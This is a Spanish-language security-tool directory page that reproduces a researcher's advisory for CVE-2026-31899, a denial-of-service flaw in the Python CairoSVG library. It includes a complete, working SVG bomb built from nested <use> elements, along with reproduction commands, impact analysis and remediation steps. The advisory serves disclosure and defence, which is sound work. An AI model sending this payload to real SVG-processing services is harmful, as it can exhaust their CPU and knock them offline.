Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-31899 — CVE-2026-31899: DoS exponencial mediante amplificación recursiva del elemento <use> en CairoSVG (CVSS 7.5 Alto) | Kitploit
Herramientas/GitHubGitHub/snailsploit/cve-2026-31899
Análisis de VulnerabilidadesExplotaciónSeguridad WebPapers e InvestigaciónAprendizaje y Educación
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: DoS exponencial mediante amplificación recursiva del elemento <use> en CairoSVG (CVSS 7.5 Alto)

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-31899: DoS exponencial mediante amplificación recursiva del elemento en CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Palabras clave: CVE-2026-31899, CairoSVG, DoS exponencial, bomba SVG, elemento use recursivo, denegación de servicio, amplificación XML, vulnerabilidad SVG en Python, CWE-400, consumo descontrolado de recursos, SVG billion laughs

Tabla de contenidos

  • Descripción general
  • Detalles de la vulnerabilidad
  • Análisis técnico
  • Prueba de concepto
  • Impacto
  • Remediación
  • Métricas CVSS
  • Referencias
  • Contacto

Descripción general

Denegación de servicio exponencial en CairoSVG (CVE-2026-31899) — Una carga útil SVG de 1.411 bytes fija la CPU al 100% indefinidamente mediante la amplificación recursiva del elemento .

CairoSVG (~300 000 descargas/semana) es un conversor de SVG a PNG/PDF muy utilizado en Python. La función use() en cairosvg/defs.py procesa recursivamente los elementos sin límites de profundidad ni de recuento. Con 5 niveles de anidamiento y 10 referencias en cada uno, un SVG pequeño provoca 10^5 = 100 000 llamadas de renderizado — una variante SVG de «billion laughs».

Descubierto por: Kai Aizen — SnailSploit Publicado: 13 de marzo de 2026 Puntuación CVSS: 7.5 (Alta) CWE: CWE-400 — Consumo descontrolado de recursos Paquete: CairoSVG (PyPI) Tipo de ataque: Denegación de servicio exponencial Privilegios requeridos: Ninguno (sin autenticación)

Detalles de la vulnerabilidad

Descripción

La función use() en cairosvg/defs.py (línea ~335) resuelve recursivamente elementos que referencian a otros elementos . No hay límite de profundidad de recursión ni presupuesto total de elementos. Un atacante puede crear un SVG pequeño donde cada capa referencia a la capa anterior N veces, produciendo O(N^profundidad) llamadas de renderizado a partir de una entrada de O(profundidad).

Características clave

  • Factor de amplificación: O(10^N) llamadas de renderizado a partir de O(N) líneas de entrada
  • Perfil de memoria: Plano ~43 MB — sin kill por OOM, el proceso nunca termina de forma natural
  • Perfil de CPU: 100% de un solo núcleo fijado indefinidamente
  • Tamaño de la carga útil: 1.411 bytes

Versiones afectadas

  • Vulnerables: Todas las versiones < 2.9.0
  • Corregidas: Versión 2.9.0 y superiores

Análisis técnico

La vulnerabilidad existe porque:

  1. La función use() en defs.py procesa cada elemento buscando su destino xlink:href
  2. Si el destino es a su vez un grupo que contiene elementos , estos se expanden recursivamente
  3. No se aplica ningún contador de profundidad ni presupuesto de elementos
  4. Cada nivel multiplica el trabajo por el factor de ramificación (p. ej., 10x por nivel)

Con 5 niveles y un factor de ramificación de 10:

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

Total: 111.111 llamadas de renderizado a partir de una entrada de 1.411 bytes.

Prueba de concepto

Carga útil SVG poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Reproducción

Método 1 — Línea de comandos:

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

Método 2 — Python:

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Impacto

Cualquier servicio que acepte entrada SVG y utilice CairoSVG para procesarla es vulnerable:

Superficie de ataqueEjemplo
Generación de miniaturas

Una sola petición con una carga útil de 1,4 KB fijará el hilo de procesamiento indefinidamente mientras consume una memoria mínima (no habrá un kill por OOM que te salve).

Remediación

Solución inmediata

Actualiza CairoSVG a la versión 2.9.0 o superior:

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

Defensa en profundidad

  • Establece tiempos de espera de procesamiento en cualquier endpoint de conversión de SVG
  • Implementa límites de tamaño de entrada en las subidas de SVG
  • Considera aislar el procesamiento de SVG en workers aislados con límites de tiempo de CPU

Métricas CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Cronología

FechaEvento
2026-03-09CVE reservado
2026-03-13Aviso publicado (GHSA-f38f-5xpm-9r7c)
2026-03-13CairoSVG 2.9.0 publicado con la corrección

Referencias

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG en PyPI
  • CWE-400: Consumo descontrolado de recursos
  • Commit de la corrección

Contacto

Kai Aizen (SnailSploit)

  • Web: snailsploit.com
  • GitHub: @SnailSploit
  • LinkedIn: /in/kaiaizen

⚠️ Aviso legal: Este repositorio es solo para fines educativos y de investigación de seguridad autorizada. La prueba de concepto se proporciona para ayudar a los defensores a validar su exposición. Úsalo de forma responsable.


📚 Documentación y autor

El informe completo, la metodología y la investigación relacionada de este proyecto se encuentran en:

https://snailsploit.com/cves

Creado por Kai Aizen — investigador independiente de seguridad ofensiva.

snailsploit.com · Investigación · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

El mismo ataque. Diferente sustrato.

Descargar herramienta
Subir SVG → el servidor lo convierte a PNG
Generación de PDFSVG incrustado en un documento → CairoSVG lo renderiza
Procesamiento de avatares/imágenesImágenes de perfil SVG subidas por el usuario
Renderizado de informesGráficos SVG en informes automatizados
Pipelines CI/CDRecursos SVG procesados durante la compilación
MétricaValor
Vector de ataqueRed (AV:N)
Complejidad de ataqueBaja (AC:L)
Privilegios requeridosNinguno (PR:N)
Interacción del usuarioNinguna (UI:N)
AlcanceSin cambios (S:U)
ConfidencialidadNinguna (C:N)
IntegridadNinguna (I:N)
DisponibilidadAlta (A:H)